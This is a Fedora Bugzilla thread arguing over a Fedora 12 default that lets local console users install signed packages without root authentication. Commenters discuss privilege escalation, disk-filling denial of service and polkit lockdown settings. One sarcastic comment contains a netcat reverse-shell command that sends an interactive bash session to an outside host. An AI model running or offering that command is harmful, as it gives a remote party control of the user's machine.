vincent: replying publicly, for my own obvious reasons. ;) it's not the right mechanism. you're abusing something that exists for other reasons. if you want to talk about the impact on RHEL, do it through appropriate channels. this is a bug in Fedora and a significant wider issue for the Fedora community, it should not have inappropriately private comments on it. (this hardly needed me to draw attention to it, the 'missing' comment numbers are pretty screamingly obvious. at least with my explanation, it's clear that there aren't not-yet-publicly-discussed further security issues here, which might be what someone would think if all they knew was that there were hidden comments). I disagree that there are obviously things that should remain between Red Hat employees as far as Fedora is concerned. There are indeed obviously things that should remain between employees as far as RHEL is concerned, but that is not the same thing at all, and this bug is not about RHEL. There should not be anything about Fedora that's different for a Red Hat employee just because they happen to be a Red Hat employee, and where that attitude exists we should change it. If all you meant was as far as RHEL is concerned, then sure, but this isn't the place to have that discussion. so yeah, as far as RHEL discussion goes...the 'clone bug' button is up there somewhere. =) -- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
(In reply to comment #14) > (In reply to comment #13) > > A user should not be able to make system-wide changes without authenticating as > > a root user. > > Of course he should. It's been this way for years for console users e.g. > mounting storage devices. > > > If an admin wishes non-root users to be able to install software, he can enable > > this. The default, like the selinux default, is to be secure by default. > > > > Allowing a normal user to install software on a box from some applications > > (packagekit) and not others (yum and rpm and whatever replaces pirut) is > > inconsistent. > > > > If this change is wanted we can add it to Fedora 13 after the proper > > discussion. > > There's nothing to discuss here. Your problem is that pretending asking for > root authentication for *local* users in *active* sessions... when installing > *trusted* software adds security is... well.. only a sign of dogma, snakeoil > and ignorance when it comes to providing a secure system. > > If you want, there's a way to lock this down, see 'man pklocalauthority'. I > will not commment further on this bug. Have a nice day. > > David This issue already appears to be the fourth highest voted open issue in Fedora: https://bugzilla.redhat.com/buglist.cgi?query_format=advanced&classification=Fedora&product=Fedora&bug_status=NEW&bug_status=ASSIGNED&bug_status=MODIFIED&bug_status=ON_DEV&bug_status=ON_QA&bug_status=VERIFIED&bug_status=FAILS_QA&bug_status=RELEASE_PENDING&bug_status=POST&votes=485 Obviously users are think there's something to discuss.
This feature basically allows any user to install any (or all) of 15,000 packages to the system without requiring a root password. That is completely unacceptable for a multi-user system. This means any user on my system can install software root doesn't want into root's PATH. There was no mention of this policy change in the release notes and there is no warning in the software. I could see this being a handy feature for a single-user computer, but it should definitely not be enabled by default.
to clarify comment #92: really all I mean is that RHEL implications of Fedora bugs should be discussed separately in bug reports filed on Red Hat products, and not mixed in with Fedora bug reports. it leads to unnecessary confusion and worry on the part of Fedora users and community members when this kind of mixing happens. There is _not_ a sekrit Red Hat cabal controlling things here; what I'm worried about is that the existence of hidden comments might give the impression that there is, even when there isn't :) -- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
The only thing that MIGHT be allowed to run without root password in regards to package management would be updating ALREADY EXISTING SIGNED PACKAGES, in my opinion. Installing new packages without root password required is suicide in any security standpoint. Basically, this bug has brought Windows stupidity to Linux. However, I would be hard-pressed to enable this feature, even if it was only for updating packages. Automatic updates are nice and all, but part of the security of Linux systems is the fact that you make sure your system is working and regularly actively maintain it. In a multi-user system where I have idiots who do not have root access, I would probably enable this feature as long as the users are totally unaware and/or unable to mess with the updating procedure and it could halt and work as needed, kind of like Windows Update in Windows 7.
I agree ... put it back. I have a 4 year old daughter I let loose on my system .... so great, she lands up installing a ton of stuff I don't want .... I was going to switch from Ubuntu 9.10 to F.12 (even downloaded the ISO last night). but I think I will wait a bit before I do. As a user, the way you have handled this kinda breaks the trust just a little ... dont you think? Sure I could go and disable it ... but coming from other distros, it is not something I would be looking at doing with out knowing that the security was lax. ----- If I do need Fedora ... at least I still have my F.11 ISO :P
(In reply to comment #68) > IMHO this really needs to be changed to the policy which was used up to F11 > (require root auth once, allow the user to keep it) which had been working fine > (a one-time password prompt isn't a major inconvenience for single-user systems > and everywhere else things are secure), why has this even been changed at all? > > This has been put on FESCo's agenda for this week's meeting: > https://fedorahosted.org/fesco/ticket/277 > and my vote is definitely going to go towards issueing a security update to > lock this down. +1
Adam: Thank you for your comments #78 and #92 (and of course the others as well). There are other mechanisms for discussion on RHEL-specific topics and Fedora bugs should stay transparent.
This is a good feature after all. Thousands of users want to install software on its desktops without type the root password over and over again. Only this special user profile could get benefit of this feature. For the rest of us is a security risk or an awful feature. Please fix it and turn off this feature by default in F12. During the F12 cycle make a UI for F12 able of turn off/on this feature in a simple way(for desktop users?). Include it on F13 as a choice in anaconda or in the firstboot and integrate it in an UI.
Say N-V-R is a package shipped within the fedora repository (rather than as an update that would be removed when superseded). N is not installed by default, and it contains a set[ug]id program. Say a month from now the set[ug]id program is found to be buggy and locally exploitable. Say we shortly publish an update N-V-R++ that fixes the bug. Given the F-12 default policy, could a regular user, without root authentication, get the *buggy* N-V-R installed, so as to exploit the bug and escalate privileges?
> As a user, the way you have handled this kinda breaks the trust > just a little ... dont you think? The understatement of the day. This is not only a huge change from previous Fedora behavior, it's contrary to every other version of Linux or Unix with which I'm familiar (and VMS, and comment #72 makes the claim for OSX). And it wasn't announced. Some of the early comments in this bug are disturbing in a breaks-the-trust kind of way. Comment #8 is just rude. Comments #14 and #15 try to shut the bug down without discussion. Comment #9 claims that admins can "trivially change the default". But this "trivial" change apparently involves a new command (there's no pklalockdown on my F11 system) with an obscure switch, or six lines of obscure configuration in an equally obscure location (five subdirectories deep!). (Why is system configuration under /var and not /etc?) And a subsequent comment claims the pklalockdown option goes away in the next polkit release. In my case, I administer a home Fedora system with three users. I want to be the only person installing software. This new default seems to assume that systems are purely single user. Multi-user systems may be reasonably rare among laptops, but not among desktops--whether at home or at work. Please consider: 1. Add my voice to those who strongly prefer the old default. 2. Simply the configuration (make it one line in a file). 3. Consider whether or not such configuration belongs under /etc. 4. And really, there ought to be an apology. My requests 2 & 3, if meritorious, are likely non-trivial. But please consider them anyway.
alexandre: that possibility was raised in comment #65. -- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
(In reply to comment #9) > I don't particularly care how UNIX has always worked. I strongly object to this attitude, I-am-a-developer-and-I-dont-care-how-UNIX-does-or-did-it-I-have-commit-access-after-all (so go away). Many (most?) of the UNIX design behaviours are hard won and have stood the test of time. How many operating system designs have survived near fully intact for almost 4 decades? This by itself should be enough of a clue to the clueful that the design deserve some respect. Tinkering with those behaviors should be done with great solemnness and certainly not the devil-may-care attitude that seems so prevalent today. A huge problem of Windows is that every new version obsoletes vasts swaths of knowledge, muscle memory, written documentation, communal knowledge, etc. No matter how much of an expert you are with one version of Windows, when the next version comes out you get to start nearly from scratch again. UNIX and Linux has avoided that problem -- until recently. It used to be that if you took the time and effort to learn something thoroughly (as opposed to just copy-n-pasting arcane voodoo from a blog whose author copy-n-pasted it from some other more obscure source) that your investment would reap you windfall dividends over the years. This was and is a HUGE draw and attractiveness to UNIX/Linux. The evidence is that PolicyKit is being designed seat-of-your-pants style with commands coming and going, etc. This discourages folks from investing any time into learning it. The time you spending learning will be a waste when the next version comes out and changes things all around again.
(In reply to comment #72) > Jeez guys, even *Apple* with OS X requires a password to install software. > Fedora is now the new Windows. Actually, _my_ Windows does require an Administrator's password to install software.
(In reply to comment #104) > alexandre: that possibility was raised in comment #65. > > -- > Fedora Bugzappers volunteer triage team > https://fedoraproject.org/wiki/BugZappers adam: thank you for keeping this thread balanced and fair.
I see that some people are (still) using the distinction between remote and console users as an excuse to allow this sort of behavior. This reasoning is fallacious. Taken to its logical extreme, one could use this excuse to justify simply giving all console users complete root access. And there is *NO* clear dividing line to explain why unprivileged package installs are OK but unprivileged total root access is not OK. Lots of people here and on the mailing list have already presented many reasonable scenarios where console users should not automatically have the ability to install packages. There are also many situations (like x11vnc) where one can "fool" PolicyKit into thinking that a remote user is at the console. None of these scenarios are taken into account by the current policy. The F12 policy is absolutely insane and I can't understand why anyone would even begin to defend the F12 behavior. Likewise, "defaults don't matter because you can change it yourself" is not an excuse. Given bad enough defaults (which this is), people are not going to bother. They will just switch distributions. Hell, this might even push me to switch, and I am a longtime Fedora/RedHat user. The comparison to automounting local media is likewise severely misguided. Inserting a CD or USB stick is a local action. The kernel can check (in hardware registers etc.) that a physical CD or USB stick was inserted. In addition, designing a secure local mount program is a lot easier than making sure that *every package in the Fedora repositories* is free of security vulnerabilities. It is completely clear that if Fedora is to maintain any tenable claim of being a community-driven distribution, then this change must be reversed. The number of negative comments is just too overwhelming.
Can everybody cool off for a while? Don't turn a bug report into a giant rant where everyone jumps in and repeats the same thing. This is being discussed and a decision will be made soon. You will all get to know soon enough. Till then, if you can remain calm, it will do good.
Please make this a choice, not a default behaviour. At least give the admin of the machine the ability to enable this and then bear the consequences. Otherwise, it's an exploit waiting to happen.
Bojan, Just be patient while this is being discussed. Piling up comments is not useful.
(In reply to comment #109) > Can everybody cool off for a while? Don't turn a bug report into a giant rant > where everyone jumps in and repeats the same thing. This is being discussed > and a decision will be made soon. You will all get to know soon enough. Till > then, if you can remain calm, it will do good. I thought this was the discussion, unless the secret forum mentioned by Adam is still being used to discuss this bug (and anyway, wasn't he trying to stop that?). The hysterics could have been avoided had the bug been treated seriously at the outset. Instead, the first few replies from PolicyKit defenders asked for further justification. So you should not be surprised that you are now receiving such further justification, in spades.
(In reply to comment #111) > Just be patient while this is being discussed. Piling up comments is not > useful. As long as I'm permitted to add my opinion to an issue that affects me, I will do so. I am being patient, but that doesn't mean I agree with this choice.
djao: bugzilla isn't a useful forum for the appropriate Fedora groups to make an actual decision about what action to take here. the discussion is taking place within FESco, basically. that's not a secret forum, but neither does it meet on Bugzilla =) -- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
Please consider voting for this bug, as opposed to making "+1 confirmed" or "I agree" comments (however valid they may be). Unless you will be contributing new specific information, fedora-devel-list may be a more appropriate place to continue this discussion.
I have a number of people in my family that have physical access to my Fedora system and have an account on it. As "untrained" users, they would not know how to leverage the physical access to screw up the system. The introduction of this change in F12, however, empowers them to do this using a GUI tool. As the administrator of that system, I do not like the risks implied by this change. IMHO this change should be reverted with a security update to F12. The solution of this issue can not wait until F13.
There are several things wrong with this: 1) Signed != secure. Over the life of F12, there is guaranteed to be a local-to-root vulnerability in some obscure package somewhere. Just because there's a newer, patched package in the official repos doesn't mean I can't spoof a repo, or just use one that I know is slow to update. 2) Desktop != unmanaged. Lots of sysadmins would love to put locked-down Fedora systems on their users' desks. The fact that there happens to be a workaround for this behavior does nothing to assuage their fears that countless other undocumented compromises could be in the desktop spin or the core distro. This default threatens Fedora's reputation as a distribution with a strong focus on defense-in-depth security. 3) This will let users DoS the root filesystem. On small systems, or even large systems using various perfectly reasonably partitioning schemes, including every single computer I own, installing everything in the repos will easily fill the root filesystem all by itself. Unless /var/log is located elsewhere, that takes logging with it too. Even if / is enormous, an unprivileged user could fill 95% of it with junk, and use this to circumvent the 5% root reserve, which is explicitly intended to prevent this sort of thing. 4) There's already a right way to do this, and that's to use sudo, as Mac OS and Ubuntu do. Yes, this means we need to add a checkbox to the add user dialog in firstboot. 5) If messing with firstboot and sudo is too scary, just make it a checkbox on the PackageKit dialog window, so you only have to enter the root password once if you really want the less secure behavior.
Can't refrain from dropping one last question here: can I assume policykit letting unauthorized users install *signed* packages, does not necessarily mean packages *signed by Fedora*? In other words, me - as admin - installing drivers for my GPU from RPMFusion and subsequently semi-automatically installing the GPG key for that repository will open my system for a plethora of packages from that repo. That would mean this whole issue goes beyond trusting or not trusting the Fedora repositories. It would mean this issue is about trusting any repositories from which we have installed software at some point in time. Please point out if this is correct or not. I think it matters in this discussion.
A version of the actual DOS is as follows: System is configured with not too much disk space; has, according to modern system installs, a single / partition (possible /boot too, but that doesn't matter) has not-very-trusted users; has quotas turned on. 1) The user empties their home directory ("I wanted space for my compile") except for a tarball of software 2) The user installs everything possible until the file system is full ("I wanted to make sure the compilation tools were there") 3) The user fills up their quota by unpacking the tarball 4) whenever someone cleans out space on the system the user can fill it up by compiling a bit. Having multiple partitions could solve this but since Fedora would like to be used by less experienced users and proper partitioning is not being encouraged as much nowadays that shouldn't be needed to have a secure system. Definitely it would be a bug to add this as a new system policy during an upgrade without agreement from the system administrator. It's also a bug to not have a simple GUI to turn this on or off. Personally; for my home machine; * I don't care much if someone DOSs themselves, I'll fix it when I come back to use it * I want to have this turned on for most Fedora repositories * I want it turned off for other repositories (to avoid getting incompatible software I don't know about), even though I want automatic updates from there * When I realise that I don't want a particular package I want to be able to exclude it individually (it's okay if another user installs it and then I have to delete it) For work I can see situations where there should be a (probably different for each user) list of packages which the user is authorised to install or remove. The current proposed all or nothing "solution" doesn't seem to solve either situation all. There should at least be a link from the release notes on to how to set more detailed policy. P.S. thanks for the open discussion. I don't agree with what was done, but at least if I can see this I can make up my own mind when I actually do upgrade.
(In reply to comment #3) > PackageKit allows you to install signed content from signed repositories > without a password by default. It only asks you to authenticate if anything is > unsigned or the signatures are wrong. But then it should not be able to install anything from the F12 i386 Everything repo, because it seems not to be signed: $ curl -sI http://download.fedoraproject.org/pub/fedoralinux/releases/12/Everything/i386/os/repodata/repomd.xml.asc | head -n1 HTTP/1.1 404 NOT FOUND
i do not understand why the design is done like that. why not just ask the user (via checkbox?) to not have to authenticate again like: [X] allow this user to always install packages then the rootpassword prompt is a one time question and it is out of the way. because else it is quite hard to ensure security... which policy would prevent me from adding my "publiccomputer-1.1" project to the fedora repos that automatically opens the whole system to the public? i dont see any guidelines that would prevent it from going through the package review... infact... the package reviewers usually dont even try the components out. also this current behaviour makes it possible to denial of service ssh and others. if the root filesystem is filled up (and by default it also carries /var/log) ssh logins dont work anymore. maybe this doesent matter to desktop of your aunt (my aunt sees that differently)... but then again someone should get a package into the repo that changes the behaviour back to the old default again... so spin creators can easily create a multiuser or workstation spin easily.
> why not just ask the user (via checkbox?) to not have to authenticate again > like: > > [X] allow this user to always install packages In fact this is exactly what happened in F9 to F11. But it turns out that PolicyKit 1 no longer supports this feature (it was called auth_admin_keep_always in PolicyKit 0.9). See: https://fedorahosted.org/fesco/ticket/277#comment:4 http://lists.freedesktop.org/archives/polkit-devel/2009-September/000213.html So I strongly disagree with David Zeuthen's claim that PolicyKit 1 has no blame in this issue.
(In reply to comment #9) > (In reply to comment #5) > > This is really a *major* change that is precise opposite of the way *NIX has > > always worked. > > I don't particularly care how UNIX has always worked. Then you should consider doing development work in OSes that better reflect your world view. MS OSes come to mind, and have been suggested repeatedly. Most of the people commenting on this bug (and on the ML; and on /.) appear to care about the way Unix has always worked. Looking at the use-cases > and the things people are trying to do this seemed the best default. Admins can > trivially change the default on machines if they wish. Trivial, it ain't. It's about as bad as making /etc/pam.d/ changes, and even more cryptic. One of the long standing criticisms (correctly IMHO) leveled at the Win security model is its opacity: understanding who can do what and what privileges do you need to task X is too hard for most (so Admin privileges are given freely, and wrongly). In contrast, the Owner-Group-World model is well understood by most, even when you throw the set-something-id in for good measure. Why are we (as a community) playing catch-up with a level of complexity that is (already) being proved flawed is beyond me. When I first read of this *bug* I thought "one more reason to boot SeLinux=0". Reading more did not change my feeling, but informed me on the (scary) fact that yum and PK are totally different tools - so I will now have to rip PK off every machine I adminster (assuming it does not pull the entire GUI down with it). Am I the only one considering the divorce (but coexistence) of yum and PK a bad idea? Cheers, alf
This change is wrong because it increase the opportunities for system DoS and compromise. I can't think of any other OS which allows (or allowed) local users with explicitly non-admin accounts to do anything like this. Signed packages /= packages without exploitable vulns. On the subject of policy, why is this new behaviour a default? While I view it as an awful idea, and one that even Microsoft has moved away from because it's an awful idea from a security perspective, I will concede that for a very specific usage model this could be useful - but it should have to be explicitly chosen by the admin after an appropriate explanation of benefits and risks including security implications. On the subject of system configuration, why is the config change to disable this buried deep in /var and not in /etc as e.g. /etc/sysconfig/packagekit as e.g. allowUsersNewPackageInstalls=no ?
Apologies for the double post, got a proxy error and re-subbed. On a practical note, do I understand that to disable this new behaviour we are being told to put the username of every user account which we do *not* want to have this elevated priviledge into a file in /var/lib/polkit-1/localauthority/20-org.d ? i.e. is the so-called trivial "solution" for obtaining normal GNU/Linux behaviour on F12 to write Identity=unix-user:username1;unix-user:username2;unix-user:username3;unix-user:username4;unix-user:username5;unix-user:username6;unix-user:username7;unix-user:username8;unix-user:username9;unix-user:username10; [...] unix-user:usernameN in a file 4 directories deep in /var ? If so, I have 253 users, which would make that line 4032 characters long at present, and I'd have to modify it every time I add or delete an account. This is almost as retarded a solution as the problem.
Location of file is a separate bug report at https://bugzilla.redhat.com/show_bug.cgi?id=538615 It is not a singular setting because the policy is quite flexible. For setting it for all users, you can give Identity=unix-user:*
That's something, at least. What about to deny for all users except the main user of the system?
Yes, you can do that easily as well. man pklocalauthority for details
(In reply to comment #118) > Please point out if this is correct or not. I think it matters in this > discussion. You have to have manually imported the key or using the GUI. You also need the root password to import a key, it's not something you can do as a user. Richard.
Fix up the release notes text a bit.
Release note updated. If any revisions are required, please set the "requires_release_notes" flag to "?" and edit the "Release Notes" field accordingly. All revisions will be proofread by the Engineering Content Services team. Diffed Contents: @@ -8,9 +8,9 @@ Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it anything you want) and the content should be - [NoUsersInstallAnythingWithoutPassword] + [NoUserSignedInstall] - Identity=unix-user:someone;unix-user:someone_else + Identity=unix-user:* - Action=org.freedesktop.packagekit.* + Action=org.freedesktop.packagekit.package-install - ResultAny=auth_admin + ResultAny=no - ResultInactive=auth_admin + ResultInactive=no - ResultActive=auth_admin+ ResultActive=auth_admin_keep
Changing bug summary to make it more clear. The user has to be logged at a physical console. (I've seen many people who were unaware of this fact.)
(In reply to comment #134) > Changing bug summary to make it more clear. The user has to be logged at a > physical console. > (I've seen many people who were unaware of this fact.) I have not seen this statement from comment #108 refuted clearly: "There are also many situations (like x11vnc) where one can "fool" PolicyKit into thinking that a remote user is at the console." Clearly the comment #108 is either right about this or not. In view of these renaming actions, could someone please shed some further factual light on this?
Another reason this is bad. Users click Yes to update packages and then do stupid things like shutdown the machine. This has happened 3 times to my parents' machine - always it manifests with a problem with Firefox not loading, and always the solution is yum-complete-transactions. It is one thing to allow the administrator to install packages when they are logged in as a user, or for a user, but completely another to allow anyone logged in to install things from an authorised repository. You have to ask yourself, is PackageKit there to remove the inconvenience of looking for the package you need, or the inconvenience of gaining permission to install it. In my opinion, PackageKit should loose it's privileges until it comes with a default setting that is UNIX-like and a simple GUI that lets you set options for things like Package Install, Upgrade, Remove with options like root, root+listed UID/GID, root+all.
Release note updated. If any revisions are required, please set the "requires_release_notes" flag to "?" and edit the "Release Notes" field accordingly. All revisions will be proofread by the Engineering Content Services team. Diffed Contents: @@ -1,16 +1,17 @@ -Users can get the same behaviour in -the past releases by running +Diffed Contents: +@@ -8,9 +8,9 @@ + Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it + anything you want) and the content should be - pklalockdown --lockdown org.freedesktop.packagekit.package-install +- [NoUsersInstallAnythingWithoutPassword] - ++ [NoUserSignedInstall] - OR +- Identity=unix-user:someone;unix-user:someone_else - ++ Identity=unix-user:* - Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it +- Action=org.freedesktop.packagekit.* - anything you want) and the content should be ++ Action=org.freedesktop.packagekit.package-install - +- ResultAny=auth_admin - [NoUserSignedInstall] ++ ResultAny=no - Identity=unix-user:* +- ResultInactive=auth_admin - Action=org.freedesktop.packagekit.package-install ++ ResultInactive=no - ResultAny=no +- ResultActive=auth_admin - ResultInactive=no ++ ResultActive=auth_admin_keep- ResultActive=auth_admin_keep
We have seen multiple suggestions for release notes over the past few hours, some of which apparently don't work if you aren't a PackageKit developer and others that may quit working sometime. Docs would appreciate it if someone from FESCo would review http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html then put on his "official" hat, appear on #Fedora-Docs, and give the Docs project lead some guidance. I should also mention that "requires release note" contains something irrelevant about 90% of the time. That doesn't mean we don't pay attention, but they don't get the attention a bug filed against release notes gets, and they also don't give us something to track. If a change in release notes, the security guide, or any other document is important, please file a bug against that document.
Richard, Comment 131, so an administrator of the box decides to install some package from RPMFusion, yum or packagekit asks it to install the signature. Admins says yes. Now any user or any Appliction the user runs firefox, thunderbird, evolution ... Can install software not only from Fedora but also RPMFusion. This is a bad decision and should be reversed. One of the things we do very poorly in Fedora is handle managed desktops. And this is just one more huge step in the wrong direction.
(In reply to comment #139) > Can install software not only from Fedora but also RPMFusion. Sure. > This is a bad decision and should be reversed. > One of the things we do very poorly in Fedora is handle managed desktops. And > this is just one more huge step in the wrong direction. This change was made for the "Desktop" spin, not the "Server" spin, or the "Corporate workstation spin", and hence I think it's the appropriate level of the usability v.s. security tradeoff. Other people may disagree, but it's likely they are using "Fedora Desktop Spin" for a non-desktop use case. Note, in F12 (desktop spin) normal users can also: * Grant high priority scheduling to a user process * Connection sharing via a protected WiFi network * Suspend the system * Inhibit media detection * Mount a device * Restart the system * Get information about system services * Install debuginfos using abrt * Enroll new fingerprints Now, in the 100% secure case, nobody would be allowed to do any of that without the admin password, but then we destroy the usability of the system, and make it unusable. Note: for a server spin, I would say not including PackageKit is a very good idea. For a corporate workstation I would say defaulting all those actions to "no" would also be a good idea, which is what the pkla "override" solution allows us to do.
I thought of this a bit in the tramway and actually, I believe the policy from F11 can be implemented in PackageKit without specific support from PolicyKit (i.e. without auth_admin_keep_always): 1. PackageKit requests org.freedesktop.packagekit.package-install as it does now. 2. org.freedesktop.packagekit.package-install defaults to auth_admin_keep, not yes. 3. If authorized, the daemon verifies an additional, new policy org.freedesktop.packagekit.remember-authorization which should default to yes for active console users (to match F11- behavior), but which paranoid admins can set to no to disable this feature. (Note: this should NOT be set to require an additional authentication, instead see step 7.) 4. If that was also authorized, PackageKit asks the UI (gnome-packagekit or KPackageKit) to ask for remembering the authorization. If the UI doesn't support it, nothing happens, otherwise we proceed. 5. The PackageKit UI brings up a prompt "Remember authorization to install packages? [Yes] [No] [Never]" If Yes is clicked: 6. The PackageKit UI asks the PackageKit daemon (which runs as root) to remember the authorization. 7. The daemon verifies that the request comes from a user who just got authorized to install packages (i.e. cached successful authentication from step 2). 8. The daemon also verifies the cached result of the remember-authorization check (step 3). 9. Assuming both checks passed, the daemon uses its root privileges to edit the PolicyKit configuration to always authorize install-packages for this user when logged in locally. If No is clicked, nothing happens. If Never is clicked, either the UI or the daemon saves this information somewhere so the user is not bothered again with the question. 2 and 7 imply that there is no way to get authorizations without entering the root password at least once (unless the admin explicitly gave out the package-install permission). 3 and 8 imply it is possible to force users to always enter the root password at each time (but this should not be the default). So this implements the policy which has been used successfully in Fedora 9, 10 and 11.
> This change was made for the "Desktop" spin No, it was made for any and all spins, in the default configuration of a core package. To do this only for the desktop spin, you would have had to ship a restrictive configuration by default and relax it in the desktop spin kickstart (but it's too late for that, and besides I don't think that would have calmed down the complaints all that much).
(In reply to comment #140) > This change was made for the "Desktop" spin, not the "Server" spin, or the > "Corporate workstation spin" Where can the "Server" spin or the "Corporate workstation" spin be downloaded from? I have searched the following pages but did not find anything related to those spins you make reference to. http://spins.fedoraproject.org/ http://fedoraproject.org/en/get-fedora-all http://torrent.fedoraproject.org/ https://fedoraproject.org/wiki/Special:Search?search=server+spin Thank you
(In reply to comment #122) > > why not just ask the user (via checkbox?) to not have to authenticate again > > like: > > > > [X] allow this user to always install packages > > In fact this is exactly what happened in F9 to F11. > > But it turns out that PolicyKit 1 no longer supports this feature (it was > called auth_admin_keep_always in PolicyKit 0.9). See: > https://fedorahosted.org/fesco/ticket/277#comment:4 > http://lists.freedesktop.org/archives/polkit-devel/2009-September/000213.html Yeah? So? FYI, this feature was removed *on purpose* because having "[x] remember my decision" for dialogs is generally very poor UI and just a symptom that you are doing something on a fundamental level. For security-related bits, it's worse. So that's why this option was removed. > So I strongly disagree with David Zeuthen's claim that PolicyKit 1 has no blame > in this issue. Kevin, you may disagree all you want. And please don't add me to the Cc for this bug again, it has nothing to do with polkit. If you have complaints etc about polkit the proper place is the upstream bug tracker.
I just found out about this from Spender's twitter... One of the (many) issues here is that an unprivileged user will be able to change the MAC (mandatory access control) policy of the system, which breaks the mandatory aspect of MAC. So, let's say the admin configured the system with a strict security policy; any user can simply install a weaker policy if it's available in the repo. I'm concerned also at the way this issue was summarily dismissed by the developers, who themselves have not provided any detailed rationale or analysis of this very significant change to the way OS security works. Also, any change to the OS security model needs to be reviewed widely. Please cc the Fedora SELinux list on any such changes, at the very least. https://www.redhat.com/mailman/listinfo/fedora-selinux-list
(In reply to comment #140) > This change was made for the "Desktop" spin, not the "Server" spin, or the > "Corporate workstation spin", and hence I think it's the appropriate level of > the usability v.s. security tradeoff. Other people may disagree, but it's > likely they are using "Fedora Desktop Spin" for a non-desktop use case. For the desktop use case, I don't believe this is an appropriate tradeoff. I agree that others have made the case for servers, but I will argue that this is inappropriate for the desktop case as well. > Note, in F12 (desktop spin) normal users can also: > > * Grant high priority scheduling to a user process > * Connection sharing via a protected WiFi network > * Suspend the system > * Inhibit media detection > * Mount a device > * Restart the system > * Get information about system services > * Install debuginfos using abrt > * Enroll new fingerprints Perhaps those should also be discussed and analyzed further, but that doesn't serve as a justification for the matter at hand. > Now, in the 100% secure case, nobody would be allowed to do any of that without > the admin password, but then we destroy the usability of the system, and make > it unusable. I don't think that it does destroy the usability of the system. With respect to security issues it is a common UI pattern to take the secure case as the default and present the user with an opportunity to change the default to a more permissive level. A common cross-platform example of this balance can be seen in Firefox. I understand what you're trying to accomplish with usability, but I think there is a better way to strike a balance between security and usability. I would argue for an approach that prompts the user on installation for admin credentials (whether that is root, sudo or some other mechanism) and then provides the user with the ability to change the policy with a checkbox.
(In reply to comment #140) > This change was made for the "Desktop" spin, not the "Server" spin, or the > "Corporate workstation spin", and hence I think it's the appropriate level of > the usability v.s. security tradeoff. You seem to be in the minority. > Other people may disagree, but it's > likely they are using "Fedora Desktop Spin" for a non-desktop use case. I find this as objectionable on my home desktop and netbook as I do on our corporate desktop. Whether it's my kids or my colleagues, normal accounts are not supposed to have elevated privileges unless the main administrator has explicitly delegated them. Even Windows Vista gets this right. > Note, in F12 (desktop spin) normal users can also: > > * Grant high priority scheduling to a user process > * Connection sharing via a protected WiFi network > * Suspend the system > * Inhibit media detection > * Mount a device > * Restart the system > * Get information about system services > * Install debuginfos using abrt > * Enroll new fingerprints Some of these are reasonable, some might not be. None are as unreasonable as the issue at hand. Thank you, though, for letting us know about the others.
(In reply to comment #140) > This change was made for the "Desktop" spin, not the "Server" spin, or the > "Corporate workstation spin" You better read http://fedoraproject.org/ for what Fedora is first of all because in your delusion to be it "the mighty developer that changes the world" you forgot what Fedora is. Decisions like this and your reactions to the justified criticism just add up to the fact that open source and open collaboration is not so open for you after all. Now back to the bug, just change this bugged behaviour to optional and by default set it to not permit software installation without root password/privileges. So simple!
I would like to add that I am appalled by the response by the developers involved. With the huge response on this ticket, and on slashdot I would imagine you would bury your pride, and simply go an fix this. This has become an ideological battle, and I for one, am using my power as a consumer to opt out of Fedora. Thanks for a great product. No thanks for the attitude.
(In reply to comment #144) > Yeah? So? FYI, this feature was removed *on purpose* because having "[x] > remember my decision" for dialogs is generally very poor UI and just a symptom > that you are doing something on a fundamental level. For security-related bits, > it's worse. So that's why this option was removed. That is certainly not an indication of a very poor UI practice. It is absolutely appropriate when a significant portion (perhaps not even the majority) of users may wish to alter the way the UI interacts with their tasks and it is not absolutely clear at design time what the default behavior should be.
(In reply to comment #145) > One of the (many) issues here is that an unprivileged user will be able to > change the MAC (mandatory access control) policy of the system, which breaks > the mandatory aspect of MAC. If you're in a MAC environment, then you need to configure other elements of default policy, not just PackageKit. If you're deploying the Fedora desktop spin to a workstation by just installing the MAC policy then there are other, easier, ways of rooting the system.
It's a safety interface, so that homeland security can persuade 6 year old children via facebook to install the next package on the CIA list of unpatched exploitable packages in universe. Otherwise how can you be protected from Linux using terrorists? This way looks more innocent than asking a 6 year old to type: nc -c 'bash -i' westcoast.cia.gov 9999 and even that would require netcat to be installed - and it often isn't! How can the government keep you safe if you all keep closing the door? Are Richard Hughes (and friends) the only patriots among us? Shame on you all!
Any comments about my comment #141? I proposed a technical solution, implementable entirely in PackageKit (not PolicyKit), which should provide the same policy as in previous releases of Fedora.
Speaking as myself (that is, nothing to do with my employer): This comment #141 sounds like a good way forward.
(In reply to comment #140) > ... > Now, in the 100% secure case, nobody would be allowed to do any of that without > the admin password, but then we destroy the usability of the system, and make > it unusable. Decades of established unix usability contradicts this dire assessment.
Greetings. It is interesting to notice how some people on this thread are refusing to (at least) acknowledge some of the points that are repeatedly being made, the main ones being: i) Even if security was not an issue - it is, big time - this bug basically undermines the maintainability of a multiuser desktop system (even for a single user desktop system, the principal user would at least know his/her password, so a Ubuntu like solution - with the principal user in /etc/sudoers - would be better than what's been put in place) ii) It has been asserted (and never contested) that this does not live only on the desktop spin. Yet the desktop spin thing keeps popping up. It is obvious to me that the core issues are ideological more than anything else. This bug has gathered 3000+ votes as of my writing, yet people are still arguing for the current behavior. I really think I will tick FC off my distros list. Cheers, alf
Re: comment #157 Well, Fedora has been dead for multiuser systems for a long time anyway (see the bug #433649 as an example - the default display manager is not usable for anything more than 5-10 users since F8, and the gdm maintainers in Fedora do not seem to care). I take it FeSCo wants Fedora to be an easy-to-use single-user desktop-_only_ distribution.
FESCo doesn't micro manage to that level. It deals with issues escalated to the team such as this one.
FESCo hasn't made any decision yet, this decision has been made by the PackageKit maintainer without talking to FESCo (at least I hadn't heard of it before the F12 release), we will be discussing this in FESCo tomorrow (and may well end up forcing a change).
